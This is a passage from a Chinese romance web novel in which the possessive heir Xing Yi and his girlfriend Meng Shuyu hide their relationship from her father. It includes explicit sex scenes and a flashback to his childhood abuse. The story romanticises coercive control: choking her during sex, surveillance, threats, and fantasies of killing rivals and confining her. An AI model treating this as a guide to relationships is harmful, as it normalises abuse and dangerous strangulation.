随后若无其事,俯身吻她。 孟纾语双眸涣散,已经分不出精力回消息,被他弄得心慌意乱,在接吻间隙里溢出零碎呜咽:“那些事情怎么解决啊?” 外界已经乱一锅粥了,他手机里一堆未接电话和未读消息,他全都没管。 邢屹含着她的唇,又让她吃了几记狠的,在她一声突如其来的低吟里游刃有余:“急什么,总有办法。” 他一贯的横冲直撞。接吻要低头,他脖子上的项链垂落到她锁骨。好凉。 她抱怨出声,邢屹的手垫到她脑后,掐着她后颈戏谑:“不是你要我戴的?现在又嫌冰了,怎么这么难哄?” 于是他直接把项链咬在嘴里。 她搂着他脖子,蹙眉:“可是这样不能亲你” 邢屹神情一顿。 好像又被她撩拨到,但她也没说什么特别的话。 他瞬间松口,戒指含着一丝温热砸落下来,有点猝不及防,她肩膀一抖,“你还是咬着吧” 横竖都不能让她满意。 邢屹直接把戒指取下来戴到她手上。 可是中间多了根链子,挤占空间,戴得有点艰难,他用力往她无名指根推顶。 她差点哭出来:“不要了,已经到底了!” “到底了?”他疯狂使坏,“到了没?” “到了到了!” “还没到吧。”于是他继续用力推顶,她啊一声掐住他手臂,他懒笑一声,“现在才到。” 第58章 更凶捉回去 一记狠戾推顶,直接将戒指 抵到最底。她拧腕躲闪,就被他更凶地捉回去。非要她戴上。 一来一回,手指被磨得发烫,指根被一圈戒指深度裹紧,颗粒细腻的软链还嵌在缝隙里,存在感异常强烈。撑得酸胀。 孟纾语抽回手不让他折腾,邢屹直接压着她掌心跟她十指紧扣,不给她半点挣扎的机会。 她呜声抗议,他虎口卡住她下巴捏着脸颊两边:“还扔不扔戒指?” 好撑。她动了动被束缚的手指,鼓足勇气反客为主:“现在它不是我的,是你的了,你要好好保管它。” 像听到什么新鲜事,他轻笑一声。 “确实是我的。”他摁住她的手顽劣使劲,“但现在不是你在用它?” 她视线飘忽,咬咬唇:“我现在不要了” “刚才不是说要?”邢屹微阖着眼与她额头相抵,近距离审视她遮遮掩掩的表情,捏住戒指,抵着指根来回磨/动,“到底要还是不要?” “你故意的。” 她拧着手腕想掐他一记。 他反攥她乱动的手。 “这枚戒指,以前是这样的吗。”邢屹勾住她手指抚了两下,兴味盎然的语气,“以前没这么紧吧,过分了。” 她讷讷解释:“因为太久了” 戒指刚找回来,今天是第一次戴。 间隔时间长。生涩了。将近大半个月没碰过。 “你看,你都抛弃它多久了。”他一堆坏心思,把惋惜遗憾的表情装得像模像样,拖着懒散腔调说,“它都不认识你了。” 坏东西,夸大事实。 她吞吞吐吐,小声说:“现在重新认识了。” “太晚了,你知不知道它有多想你?” 邢屹挑起她手指,孟纾语正好往回抽手。 方向有来有往,戒指看似原地不动,手指却退出一半,绯红而汗湿,被暖灯映出微润水光。 圆圈悬在指尖,留了小半点空隙,恍惚有种空落落的感觉。 他要求她垂眸注视。 下一秒又攥着她的手折腾。 力道招架不住,戒指就这样不知疲倦地,圈着无名指推弄到底。 他低头吻她。掌心沁出的薄汗沾到手指上,戒指内环也湿漉漉的。最后轻缓拿出。终于,回归吊坠性质,伴着细链挂回他脖子上。 邢屹神情不悦,显然又想摘下来让她戴上。 “不戴。” 她快速把手藏到背后。 脸就被他捏住,漆黑目光刺过来。 “不允许。” “你好凶,不许动。” 孟纾语借机伸手过去,手指勾住他垂落的项链逐渐收拢,套在掌心。磨了磨。只见他霎那间喉结紧绷。 她又盯着凸起的喉结摸上去。坚硬触感,在她指腹下轻轻跳动着。 邢屹耷着眼睫,冷淡又含。欲的眼神在她唇上游离逡巡。 被他盯得脸颊发烫,她下意识吞咽一下,别过脸说:“现在不戴,等你乖的时候我再戴。” 邢屹静了两秒,俯身落吻。 贴着唇,气息里含浑的笑意:“怎样才算乖?” 她双手微微攥拳,不轻不重地抵着他肩膀。 被一个轻柔的吻磨到神情恍惚,她昏昏沉沉退一点距离,水波滟潋的眼眸注视他说:“就是不许监视我,不许做错事之后不道歉,不许威胁我,不许威胁无辜的人,更不许在法律边缘游走,要做良好公民。” 他眯起眼,轻啧一声。 “好像做不到。” 似乎在刻意逗她。 不许逗。孟纾语撑起来靠近他。 “做不到吗?”她亲他一下,两秒后又亲一下。喂了一篮筐的甜枣,最后再问他一句,“现在做得到了吗?” 邢屹喉结轻涌,一动不动看着她。不知他在想什么。 孟纾语凑上前轻轻咬他一下。 然后突然后退。 轻吻额度告急,不给他充值的机会,只是通知说:“如果还是做不到的话,以后这些都没有了,我收回。” 语气很严肃,其实心底的退堂鼓敲得砰砰响。 他在注视她。 而她分辨不出他眼里的情绪。 完了,是不是说得太过火了?不会又发疯吧他。 情况不妙,她得做好随时溜走的准备。 于是悄悄往后挪。 不料他直接抱过来,脑袋埋在她颈侧又蹭又咬,凶狠热气烘着她:“给了还想收回,哪有那么容易。” 心跳过速,生怕他被一口吞没。 她支支吾吾:“你要干嘛你又威胁我。” 邢屹乱蹭的动作停了下来,贴着她耳畔闷笑一声。 “你在给我定罪?” 她嗫嚅:“对、给你定罪了,你要怎样” “能怎样?当然等着孟纾语的判决书了。”他从善如流,不着调地问,“打算什么时候把我缉拿归案?” 怎么回事。 他好像还挺期待呢?! 难道真让他爽到了- 孟纾语在医院做完各项检查,结果没什么大碍,头晕只是因为当时过度担忧。 她健健康康,邢屹就愈发肆无忌惮,这几天缠着她从早到晚地折腾,累得她招架不住,气得在他肩上留了几圈齿痕,说要给他判个无期徒刑。 而另一边,老孟已经给邢屹判了死刑。 邢屹出院那天,老孟风风火火落地京北,带着一股怒气直奔颐云公馆。 太阳落山,老孟毫不客气推门而入,正好碰见年底休假在家的邢美莱。 客厅里,一对老冤家又斗起来。 孟明德大声怪罪:“既然你发现苗头不对,怎么不早跟我说?我就这么一个女儿,我绝不允许她跟渣男纠缠不清!” “什么渣男啊,你别听风就是雨。”邢美莱见招拆招,“而且咱俩早就说好了,年轻人的事情,我们做长辈的不能过多干涉。” 孟明德完全听不进去,依旧非黑即白:“好事可以不干涉,坏事能不干涉吗?我知道,你就是在纵着邢屹,你连他是好是坏你都看不出来,还跟渣男合起伙来欺负我宝贝女儿。” “孟明德你讲点道理!我什么时候欺负小语?说不定我比你还疼她!” “别狡辩了,你就是看中我女儿单纯好骗,想忽悠她,让她稀里糊涂做你家的儿媳妇。我管你们邢家多么有权有势,别跟我搞什么障眼法,我只要我女儿平安健康,心理和生理都不能受到一点伤害!” 孟纾语被父亲这一声吼停了步伐,直愣愣定在玄关。 邢屹还在若无其事往前走,她忙扯住他胳膊。 他视线往下一扫,语气半开玩笑:“在这儿跟我拉拉扯扯,不怕孟叔生气?” 孟纾语为难片刻,攥着他衣袖,正纠结要不要在这时候进去。 客气里的孟明德似乎早就觉察远处有人。 “小语!进来!”老孟发飙,“还有那小子!” “” 好一个血脉压制。 孟纾语战战兢兢,别了别肩上的包带,慢吞吞走到客厅。 隔着几米停下来,望向叉腰站立的孟明德,她干笑一声:“爸” 邢屹自然而然停在她身边,双手抄着西服裤兜,温淡的语气问候未来老丈人:“孟叔,好久不见。” 孟明德欲言又止,视线快速往下扫。 下意识看他们两人有没有牵手。 很好,没有。 孟纾语心下一叹。 事情复杂,三言两语不好解释。 加上父亲护女心切,本来就不太支持两个家世悬殊的人谈恋爱。现在网上那么一闹,老孟更是深受重创。 面对眼前这个拱了自家小白菜的臭小子,老孟巴不得给他来一记降龙十八掌。 怒火需要耐心扑灭,偏见也是需要时间淡化的。 不能三两下强行攻破,只能使出缓兵之计。 “孟叔,小语把我甩了。”邢屹轻描淡写又不失颓丧地说,“所以我们已经分手了,您别担心。” 孟明德火气稍退,半信半疑:“真分了?” 孟纾语一时哑然,余光瞥了邢屹一眼。 见他神情淡 然,装得挺像样。 两人心照不宣,她下意识配合他,点点头。 “没错,我们已经分了不过网上那些确实是误会,之后一定会澄清的。” 邢美莱在远处观望已久,瞪大眼睛揪住重点:“分、分了?真分了?” 老孟一个猛甩头瞪向邢美莱。 “暴露了吧!你就是想让我女儿嫁进你们家!” 邢美莱视线飘闪,不自然地搔搔眉心,貌似无可辩驳,快步走向厨房 窗外暮色四合。 这顿晚饭吃得一言难尽,气氛沉滞又微妙。 孟纾语埋着头小鸡啄米,余光观察着周围情况。 邢屹不再挨着她坐,而是坐在她对面。 像三年前初次一起吃饭一样,她身边是老孟,斜对面是莱姨。 两个长辈低头不见抬头见,互相看不顺眼。 老孟:“你瞪什么瞪?” 邢美莱:“瞪你怎么了?你不看我你怎么知道我在瞪你?” 老孟:“自作多情!” 邢美莱:“不可理喻!” “” 孟纾语借机抬眸,悄声看一眼邢屹。 他置身事外,慢条斯理嚼着嘴里的东西,筷子没怎么动过,一直在划手机。 她若有所思,默默收回视线,筷子戳了戳米饭。 下一秒,足踝忽然泛痒。 有什么东西缠上来了。 邢屹在桌下翘着二郎腿,悬空的鞋尖碰到她。 分不清是故意还是不小心。 她呼吸顿了顿,筷子挑起一小团米饭,不动声色塞进嘴里,嚼啊嚼 她今早回了趟学校,穿的是一双白色高帮帆布,温柔开朗,十足的学生气。 而他微凉的皮鞋顶端抵着她足踝,若即若离,慢慢往上滑。 她心跳加速,欲盖弥彰端起水杯喝水。 邢屹的目光始终落在手机屏幕上,看都没看她一眼。 却在桌下翘了翘鞋面,坏心眼地勾住她小腿。 她身形一滞,攥紧杯壁。 在他动作稍微停下来时,她纯白的高帮帆布往前伸,轻轻抵住他另一只皮鞋。 然后,踩住他。 一旁的父亲忽然出声:“所以你俩分了,最近都没联系,只是今晚一起回家吃个饭?” 孟纾语攥了攥筷子。 “嗯,对的。” 邢屹轻浅一笑,终于撩起眼皮看了她一眼,附和她:“嗯,是这样没错。” 说着,他鞋尖继续往上,几乎顶到她膝盖,撩起她垂落的毛呢裙摆。 她下意识并紧膝盖,呼吸紧绷,喉咙浅浅吞咽。 老孟浑然不觉桌下的小动作,这会儿似乎冷静了点,认真问邢屹:“网上那些事,有几成是污蔑?” 邢屹游刃有余地回应:“孟叔,您只需要知道,我跟所谓的美国女人没有半点关系。” 老孟愣了愣。 “那其他的呢?什么你脾气不好,待人冷血无情,小时候还纵过火?这些真的假的?” 邢屹并不否认。 老孟温厚善良半辈子,而邢屹的个性和所作所为格外放肆,几乎百无禁忌。 已经超出老孟认知了。 他恨恨一叹,怪自己当初一叶障目,看不出这小子的好坏:“真想不到,你这人简直简直乌烟瘴气!” 孟纾语定了定神。 又听见父亲说:“小语,无论如何都不准复合。要是真想谈恋爱,就按照之前的择偶标准去找。什么温柔啊,善解人意热爱小动物啊就按照这个标准来。” 话音落下时,她的帆布鞋踩着他,而他的皮鞋也已经撩进她裙摆- 之后几天,孟纾语住回公寓。 老孟放心不下,直接签了短租合同住到她对面。 一到饭点,老孟就系个围裙,到对门给女儿做饭,打算等到过年就带女儿返回宁城,暂时远离这是非之地。 孟纾语没敢跟父亲说,其实现在住的公寓是邢屹买的。 要是说了,老孟能让她连夜搬出去。 有父亲在,她跟邢屹单独见面的机会少之又少。 元旦前夜,邢屹回到颐云公馆,在孟纾语房间里待了会儿。 邢屹下午在公司,因为网上那些破事影响了集团形象,他被董事会那帮秃头一通弹劾。 虽然最终无事发生,但他眉眼之间依旧染了一丝烦躁与疲倦。 他身上的西服还没换,径直躺下来,沉沉闭上眼。 枕边,是一件白色吊带。 没洗过,衣料里藏匿着她的香味。 他闭着眼,凭感觉伸手,拿过那件薄软吊带,缓缓攥成一团,放到鼻尖,吸烟一样用力嗅着。 忽然自嘲地笑了下。 ——“邢屹?” 孟纾语的声音,出现在院子里。 他睁开眼,空泛的目光看了看天花板。 下一秒坐起来,走向阳台。 正值凌晨,夜色中飘起了雪。 孟纾语今晚偷偷跑过来,看见熟悉的高挺身影出现在二楼,她立刻点燃两根仙女棒,分别拿在手里。 小烟花滋滋燃放,她将两根同时举高,原地蹦了蹦,细碎光亮映着她眉眼弯弯,她兴高采烈望向阳台:“新年快乐!” 邢屹一手撑着围栏,眉心倏然一动。 究竟什么才是他应该学会的爱人方式,要亲眼见过才知道。就像这一秒。 孟纾语看不见他细微的表情变化,只觉得他毫无反应。 以为他不喜欢这种幼稚的把戏。 正好仙女棒燃尽了,她把黑乎乎的小条杆丢进垃圾桶,杵在原地,望着漫天的雪,她指节碰了碰鼻梁,一时无所适从。 再一抬眼,邢屹已经不在阳台上。 哪儿去了? 正疑惑,邢屹突然出现在面前,她来不及说话,他直接掐着她的腰把她扛到肩上。 “喂你干嘛!”她惊慌掐住他。 邢屹直接从身侧拽过她一只手,金属手铐咔一声,锁在她腕上。 她两眼一黑。 “邢屹你又犯病!” “嗯。”他故意空着手铐另一端,意味深长说,“等你把我缉拿归案。” 第59章 所以快一点 热吻碾转,防备在不知不觉中褪去。 邢屹换一个姿势抱她,孟纾语已经忘了手铐的存在,全程树袋熊一样挂在他身上。 进浴室里淋了一遭。 水声淅沥,她浑身湿漉漉的,双腿缠着他的腰。 后背贴着湿润墙面,被他吻到意识发昏,手臂也跟着酸软。 忽然松了力道往下滑,邢屹单手托着她腰臀位置往上一抬,顺手掌了她一记。声响清脆,她羞赧地收紧力道,搂他又缠他。 他拿开她一只手压在墙上,手指挤进她略微紧张的指缝,拇指不知在哪挑了一下,咔一声,解开她腕上的手铐。 一吻藕断丝连地退开,她茫然几秒,邢屹暗含热欲的眼神打量着她,摁在她腰上的手在一番游移过后,轻轻一勾。 感觉强烈。她下意识伏倒在他肩上,邢屹缠在耳边,鼻尖蹭过她耳廓的水珠。问这里怎么这么湿。 她咬唇轻喘,被浴室里的水雾熏得神智涣散。 “那就不在这里了,回房间” 他低笑一声。 “这里不就挺好?孟纾语最近有点挑三拣四。自己好好想想,不是你要我进来的?” “不进了,先出去。” 雾蒙蒙的水汽,似乎把眼前的浴室衬得更大。大到无所适从。热得口干舌燥。 水声起起落落。他玩心渐起,手指忽轻忽重地拧了拧。水阀松了又紧,突然一股清澈水流四溅开。 她被弄得湿淋淋的,控制不住地哆嗦,羞恼地说不让他玩了。他这才收手,关停水阀。 她埋在他颈侧,缺氧到浑身泛红。 邢屹抱着她,用肩膀顶开了门。 两人相拥跌落到卧室的沙发椅上。 狭窄空间不好施展,她只能紧紧贴着他,邢屹撑在她身上,粗重的低喘声伴随细细密密的吻,从她锁骨蔓延到颈侧。 来不及多汲一口氧气,他掐着她下颌强势落吻,舌头直驱而入,疯狂地勾缠扫荡, 她呜咽一声搂紧他脖子。 半宽的沙发椅堪堪容下两个人,她被压得喘不过气,撇过头想缓一缓,他突然掰过她的脸继续深吻。 舌尖被他追逐挑弄,后知后觉,背后好像硌着什么硬东西。 原本是那枚解落的手铐。 她暂时拿不开,软声抱怨说,被它硌得腰酸。 “娇气。”他懒嘲一声,纵容地拿了个枕头垫到她腰后。 枕头棉芯厚厚一层,挤了几下放不进来。于是她下意识挺腰。让它完全塞进来。 邢屹俯身落吻,相拥的体温贴得严丝合缝,半湿的长发在他臂弯中散开。 吻到鼻尖相撞,呼吸纠缠,她迷迷糊糊退开一点距离,侧过头喘气定神。 颈侧一片白皙暴露在月色下,邢屹低头轻轻咬住她耳垂,齿间磨了磨,温柔又顽劣,粗喘声毫不设防地落下来,撩得她心颤。 身上的水没有完全擦干。她躺下的地方晕开一圈水渍。 黑茸茸的脑袋蹭在她颈侧。又在恶狠狠地动着,吮吻她脉搏周围脆弱的软肉。 一片热痒蔓延开。她脑子空白一瞬,轻轻推他一下。 “那个我只有一个小时的时间,我爸要是找不到我人的话,他会担心的。” 他偏额瞥她一眼,明知故问:“所以?” 她生涩吞咽一下。 “所以快一点。快一点让我回去” 他兀地失笑。 “孟纾语,你在对着我许愿吗?” 她目光飘忽,圈在他脖子上的手臂紧了紧,小声说:“那你可以心软一下下,帮我实现吗?你最好了” 邢屹莫名停滞。 好像被她软绵绵的哀求搞乱了心态,大脑一片空白。 孟纾语来不及反应,突然被他掐着脖子,又让她吃一记狠的:“我哪里好?” 她心跳失速,被他猝不及防的狠厉吓到,后脑勺撞到沙发靠背,一连撞了好几下,微弱光线剧烈摇晃,她吞吞吐吐说:“你很好,我会一直喜欢你” 除了凌乱声响,耳边没有任何回应。 她心下疑惑,睁了睁水雾朦胧的眼,望着他。 目光纠缠,她倏然一愣。 在他凌厉浓眉之下,竟然是一双泛红的眼眶。 她心头猛然颤动,从他猩红的眼里,看见自己呆滞的倒影,包裹在眼球周围错落的血丝之中,被他强势吞没。 邢屹隐忍又放纵地注视她,掐在她脖子上的手愈发用力。 滚烫的掌心,指腹压下一层难以忽略的粗糙,是他练习射击时留下的枪茧。 她说不出完整的话,窒息感让她浑身发烫。 只能仰起头,试图缓一口气。 最后招架不住,在淋漓尽致的体验里喊他的名字。 邢屹却无动于衷,幽沉目光牢牢锁着她,一边不忘逞凶发狠,她意识摇摇晃晃,无所凭依的双手掐住他充血的手臂。 偏执到难以衡量的欲望,潮水般袭来,几乎让她溺毙。 窗外安然无恙飘着雪。 邢屹一直没告诉她,其实他最讨厌下雪天。 无论是南方敷衍了事的细小冰晶,还是北方恶贯满盈的鹅毛大雪,都让他心生厌恶。 他三岁之前,跟随远嫁的邢漫芊生活在宁城,之后才被接回京北。 南北方两种截然不同的雪,他都格外熟悉。 因为小时候,母亲总会在最寒冷的那天,罚他穿一套薄薄的衣裳,再把他扔到院子里。 他不知道自己犯了什么错,母亲却说他活该。 于是他从早到晚站在风雪里,俨然被冻成一个小雪人,麻木感侵略他四肢百骸,他发烧而不自知,最后神志不清,跌在雪地里。 到点赶来做饭的保姆阿姨撞见这一幕,吓得脱下自己的羽绒服给他裹上。 “小屹!” 保姆阿姨拍拍他的脸,试图让他清醒过来。 他已经昏到认不清对方是谁。 冻出冰霜的眼睫无力地垂下,苍白的薄唇翕动着:“妈我没有错” 保姆赶紧把他抱起来,噔噔噔跑上门前台阶,却发现大门紧锁。 保姆用力拍门:“太太!他才三岁,您不能这样对他啊” 邢漫芊慢腾腾开了门,抱着胳膊冷眼旁观。 “他自己出去的,关我什么事?” 保姆不明白,为什么一个做母亲的会对自己的孩子这么狠心。 “太太,小屹到底做错了什么?” 邢漫芊掠一眼气若游丝的孩子,眼里没有一丝怜悯。 “他就是来折磨我的。只要他存在,就是错。” 怀孕的时候,邢漫芊失去了向往的片约,丈夫也因她怀孕而肉/体出轨。 生产的时候,又因为难产,她在产房里哭嚎了两天两夜。 邢漫芊疼得把指甲挠断,护士安慰她鼓励她,让她继续用力,但她已经没有力气。 垫子上零零散散的排泄物,让她觉得自己成了一只动物,尊严尽失。 无论出生后的邢屹有多么可爱讨人喜欢,邢漫芊也忘不了那些让她煎熬的痛苦。 她确实患了产后抑郁症。 悲伤,无助,失去了引以为傲的身材,失去了事业和婚姻。 而在别人眼里,她成了一个歇斯底里的疯子。 这些她自身化解不了的痛苦,全都变成憎恨与责怪,沉甸甸地压在邢屹头上。 邢屹从懂事开始,邢漫芊对他就没有过好脸色。 母亲虐待他的事,邢老爷子一直知道。 但从未插手阻拦。 归根究底,邢老爷子自有他的目的。 他想,对一个孩子而言,只有在幼时将失序的感觉体验到淋漓尽致,长大后才会疯狂向往掌控一切的快感。 邢家子女众多,废物也不少。 老爷子对此感到厌烦。 他不需要一个在温室里长大的慈善家,更不需要一个优柔寡断的废物。 他只需要培养一个出类拔萃的继承人。 最好共情力低下,掌控欲十足。 于是邢屹从一出生,就拿了一份一言难尽的剧本,被母亲憎恨,被外公利用。 童年的颜色是灰扑扑的。 三岁时生活在宁城,邢漫芊一边跟前夫卓远拉扯不清,一边待在她瞧不上的宁城话剧院里磨练演技,期盼有朝一日重回大荧幕。 母亲出门的时候,邢屹就被要求老老实实待在房间里。 可是今天很不巧,屋外在下雨。 他想起母亲出门前没有带伞。 孩子爱父母似乎是一种本能。 那时的他只觉得,只要自己再懂事一点,说不定母亲就不会那么讨厌他。 于是他拿上一把伞,要求保姆带他去话剧院。他要给母亲送伞。 小雨淅淅沥沥,路人们行色匆匆,邢屹被保姆牵着,手里紧抓着一把黑伞,穿梭在城市傍晚潮湿的霓虹里。 到了话剧院,跟安保人员沟通后,拿到一枚通行证。 从后门进去,来到后台。 后台人员杂乱,邢屹没有看到母亲的身影。 先听到小孩子的哭声。 ——“小语别哭,妈妈换完演出服就过来陪你。乖乖的,不哭哦。” 一个温柔的女人安慰完便匆匆离开。 “太太可能去换衣服了。”保姆阿姨说,“小屹,我们坐一会儿,太太一会儿就要演出了,这回是主角呢。诶?小屹你去哪?” 后台有一间隔出来的小休息室,哭声从这里传来。 他推了推半掩的房门,漫无目的走进去。 靠墙的长凳上,坐着一个穿粉蓝色小袄的女孩子。 糯米团子一样,很小,比他还小。 她看见陌生人,霎那间哭得更厉害,手里的玩偶啪一下掉在地上。 她脸圆圆乎的,手也圆乎乎,边哭边攥拳擦泪。 显然还在牙牙学语的阶段,她咿咿呀呀说了几句,他没听懂,只知道她在喊妈妈。 邢屹坐到她身边,把她掉落的玩偶塞进她怀里。 嘲讽她:“有什么好哭的。” 女孩拿到玩偶,茫然抽噎几下,看他一眼。 她不哭了,邢屹就准备走了。 他刚要起身,一只小手突然攥住他衣袖 。 愣是不放。 一双水灵灵的眸子直勾勾望着他,脸颊的婴儿肥嫩嘟嘟的。让人忍不住想捏。 他不喜欢被陌生人碰,下意识抽回手。 她又哭。 “呜呜” 邢屹无语。又不认识你,你攥我衣服干什么? 不过他很快就看出个所以然了。 这屋子里空落落的,她母亲不在身边,她手里不攥个什么东西,就没有安全感。 “好吧,给你。” 他把胳膊递给她。 她心满意足地攥上衣袖,吸了吸鼻子,不哭了。 邢屹面无表情,盯着墙上五花八门的话剧海报。 小女孩一直看着他,忽然伸出小手,碰他眼尾的痣。 他冷冰冰瞥她一眼,她就傻呵呵笑了下,好像挺喜欢他。 可是母亲说,他身上没有讨人喜欢的地方。 他这辈子都不值得被喜欢。 他看了看被她攥皱的衣袖,又看看她。 带着一股小男孩的稚气,他直白地问:“你喜欢我吗?” 她眨眨眼睛。似乎因为她恰好懂得这个词,于是软萌萌地应:“喜欢” 只有她,对他说喜欢。 他无言半晌。 其实他心底一直有颗阴暗的种子,那就是,看见弱小的东西就会冒出把它掐死的欲望。 但此时看见她,他反而想保护。 幼童的记忆库非常狭窄,她看起来一岁不到,今后一定会忘了他。 她会记得他吗? 彼此还有机会再见吗,还有机会遇见长大后的她吗 问题在他脑海里盘旋。 话剧院前台已经开始表演,音响声若隐若现,落到耳边。 终于,她困了,软乎乎打了个哈欠,倒在他肩上睡大觉,呼吸里一股奶香味。 圆乎乎的手还一直攥着他衣袖。 他垂眸。 “喂,松手啦。” “邢屹,松手”孟纾语红着眼眶,眼尾溢出一点生理泪水,声音轻软无力,“我要窒息了,你快松手” 邢屹眉心一动,从回忆里抽身。 松开了手。 孟纾语微仰起头急促呼吸,意识轻飘飘的。 后知后觉,发现他在触碰她起伏的肋骨,指腹轻轻摩挲。 她还没缓过神,他温热的唇又贴过来,磨了磨,声音闷在吻里,浑哑不清地溢出:“印子消了。” 之前他用手指划出的红印,全消了。 她咽了咽干渴的喉咙,想起当时被他划印时的疼痛,忍不住郁闷道:“你再那样弄我,我就给你刺青。” 憋闷已久的心里话,真的说出口了。 他不会生气吧。 邢屹微垂视线看着她,眯了眯眼。 “真的?” 他从床头柜捞过手机。 点开日历,亮荧荧的光晃进她眼底。 “来,选个良辰吉日,给我设个日程提醒。” 意思是他同意刺青。 而且为了刺青,他可以把那天的工作全都推了。 她瞳孔一震。 “没有没有,我开玩笑的。” 他掐住她下巴,目光逼过来:“说话要算话,什么时候带我去刺青?” 她心乱如麻:“你不要当真!” 邢屹冷嗤一声:“你学会骗人了?” “?”真冤枉,“本来就是开玩笑,哪里骗你了。” 掐着她下颌的手慢慢游移,落到她颈侧,抚了两下。 他意味深长说:“我倒是很想给你纹一个。” “” “孟纾语,爱我就要接受我给你的全部。” “不许这样,好可怕。”她心跳如擂鼓。 邢屹轻抚她燥红的脸颊,眼底情绪千转百回。 “为什么怕我,还敢承认爱我。” 她压下心里的恐惧,认真说:“因为,比起害怕,我更不想骗我自己。爱就是爱,不爱就是不爱。人要对自己诚实。” 他不置可否,顺水推舟说:“就不怕哪天,你跟别的男人多说一句话,我就把你锁在家里一直做?” “你不怕肾虚就好。” 到时喂他喝中药。苦死他。 邢屹笑了下。 “看不起谁?” 一来一回逗了几句,他眼里的沉戾稍稍淡化。 她明白了。假如她一昧逃避,他的病态心理只会越来越重。 只有勇敢直面,才能让他有所收敛。 因为她坦然的态度会让他确认一件事:她不会离开他。 距离很近,孟纾语伸手,食指轻轻碰他眼尾。 “一直没告诉你,你这颗小痣,很好看。” 邢屹始终注视着她,宽热的手掌握着她的手,迎着脉搏跳动的位置,微微偏额,在她手腕内侧落了一记吻。 分明想占有她,控制她,最后却不可控地贪恋她的温柔。 她一掉眼泪,他就心疼。她说要离开,他就紧张,最后只能用怒不可遏来掩饰焦灼。 爱意与病态同时滋长。 他就这样。治不好了。 如果哪一天,再次看到她跟别的男人谈笑,他仍然想一枪蹦了那人的脑袋。 假如污血溅到她身上,他就把她抱回家,放在浴缸里,一点一点给她洗干净。 孟纾语望着他黑沉沉的眼,不知他在想什么。 忽然间,他一只手压到她小腹上。 轻轻摁下去。 “唔”她下意识咬唇,掐住他硬朗的手腕。 好胀。异样的感觉从小腹位置蔓延,又酸又麻。不算难受,甚至有种说不清道不明的瘾,在勾着她。 邢屹撩起眼皮看她一眼,手又往下摁了摁。 指腹在她肌肤上轻移,忽上忽下。 “孟纾语,回答我。”他眼底押着一丝笑意,轻慢地问,“我现在到哪里了?” 第60章 回来让你罚 一种难捱又新奇的体验。 她忍着没有出声,呼吸紧了紧,在他直起腰的瞬间,本就昏暗不清的视野,被他宽阔的肩膀挡了一大半。 邢屹挺起上半身,以一个松懒的跪姿定在她身前,手掌压在她小腹中间。好烫。 他低垂视线,将她失神的表情尽收眼底。她涣散的眸里盛着一汪清水,他轻轻摁一下,水面就荡起涟漪。 孟纾语小幅度喘气,感受他手里的轻重缓急,不由自主握住他青筋蔓延的手腕,想减弱他压摁的力道。 她很怕痒。而他专挑她最痒的位置,持续磨蹭攻陷。 他指腹轻划,手掌摁下来的酸胀添了一种异样的酥麻。存在感过于强烈。 他划到小腹中间偏上的位置,手指停下来。 视线缠上她,眼底押着一丝兴致盎然,轻飘飘的语气:“到这里了吗?” 她忍着酸胀和轻痒,时不时闭起眼,来不及看清他手掌的位置。 后知后觉判断说:“到了” 邢屹不着痕迹地笑了下,看向她的眼神里泛起一种雾气缭绕,让人琢磨不透的愉悦。 “孟纾语,进步好大。”他中指指腹往下移了半寸,按了按,戏谑说,“之前只能忍到这里。” 一按就好酸。 邢屹呼吸匀淡,很故意地注视她忍耐泛红的脸颊,手里又使坏般揉了揉。 她咬唇承受着,小腹开始发烫。越摁,感觉就越深刻。 让人心悸的痒,由他掌控着,把她吊在半空。就这么一动不动。她忽上忽下地悬浮着,永远触不到顶。 她只好别过脸,用最后一分清醒推了推他,说不要了。 他却说他不想停。 孟纾语早就尝过他没有上限的狠劣。再这么下去,她一定会晕过去的。 她下意识抬起手臂,遮住双眼和红赧的脸颊,就差没把耳朵捂住,轻声催促他,“你快出去” 根本不可能出去。 邢屹见招拆招:“这里好像是我的房间。” “”真是强词夺理,“怎么就成你的房间了!” 他像个不讲理的暴君,俯身,呼吸缠在她耳边,边蹭边说:“用我的东西填满过 。就是我的。” 被他刺激了一下,她脖子周围的红晕又深一层。 邢屹吻了她一阵,把她哄软了,手掌抚到翘起的一处轻扇一下,哄她转过去面对镜子,最好再塌一下腰,双手撑稳- 一直到后半夜。 孟纾语已经赶不回公寓。时间不够,体力也不支。 最后被他从浴缸里捞起来,用浴巾一圈一圈地裹住,擦干水渍。 她眼皮重得睁不开,后背感受到胸膛体温,于是放下戒备,直接在他臂弯里沉沉睡去。 她呼吸很静,邢屹半靠在床头,借着昏昧月光注视她,指腹抚过她唇角,她慢半拍蹙眉,发出一声轻软梦呓。 他眼底的沉暗罩在她身上。 密不透风的占有欲,总在夜深人静时变得更加厚重。 几小时前,她毫无征兆地出现在阳台下,在漫天雪花里举起烟花棒,弯起笑眼对他说新年快乐的那一刻,他会一直记得。 那样的瞬间,最好能彻底留住。最好让她眼里只装下他一个人。 可惜他总是学不会发乎情,止乎礼。 占有和吞噬才是他的本性。 “如果把你关起来,每天只能看着我——”邢屹迟疑片刻,撩开她耳边垂落的发丝,低声说,“好像也不是什么坏事。” 既然爱了我,就不允许再把温柔的眼神分给别人 孟纾语睡得太熟,梦里零零碎碎出现一些过往的画面。 梦见高中课堂,心理课上,老师感慨说,要接受一个人最真实的样子是很难的。 需要很多勇气和信任,需要孩童般的赤诚。 又梦见小时候跟母亲一起看书,看那本让人云里雾里的《呼啸山庄》。 记得那一段。 「永远缠着我吧。 无论用什么方式,尽管把我逼疯吧。 只是唯独, 别把我留在没有你的深渊里。」 她心想,平静下的狂热与偏执,就是邢屹最真实的模样。 他是一个擅于用原则毁灭规则的人。 所以她偶尔也会害怕,怕他愈演愈烈,最后彻底变成一只脱缰野马。 在此之前,她需要一条牵引绳,悄悄拴住他- 次日一早,孟纾语从空荡的床上惊醒。 完了完了,几点了? 她匆忙捞过手机。 还好,这几天是元旦假期,不用早起。 松了口气,她默默环顾四周。 一切安然无恙,邢屹不在卧室里,边上的枕头也没有温度。 他好像很早就起来了。 算了,暂时不管他。 她侧躺着划手机,犹犹豫豫,点进微博热搜。 邢屹懒得雇人删帖,无论别人怎么骂他,他都置若罔闻。 唯独有牵涉到孟纾语本人的恶毒言论,发出来就被秒删。 即便没有过多干涉,舆论环境也有自我调解的能力。 今早点进词条主页,风向已经有所转变。 网友们个个都是侦探,本来是为了挖掘令人发指的黑幕,没想到竟扒出一堆跟邢屹有关的好人好事。 他大学时主动协助志愿队救助流浪狗,前段时间还救了一个性命垂危的癌症小女孩诸如此类。 而他表哥邢皓南,涉嫌一起违/禁/药品走/私案,目前已经在接受警方调查。 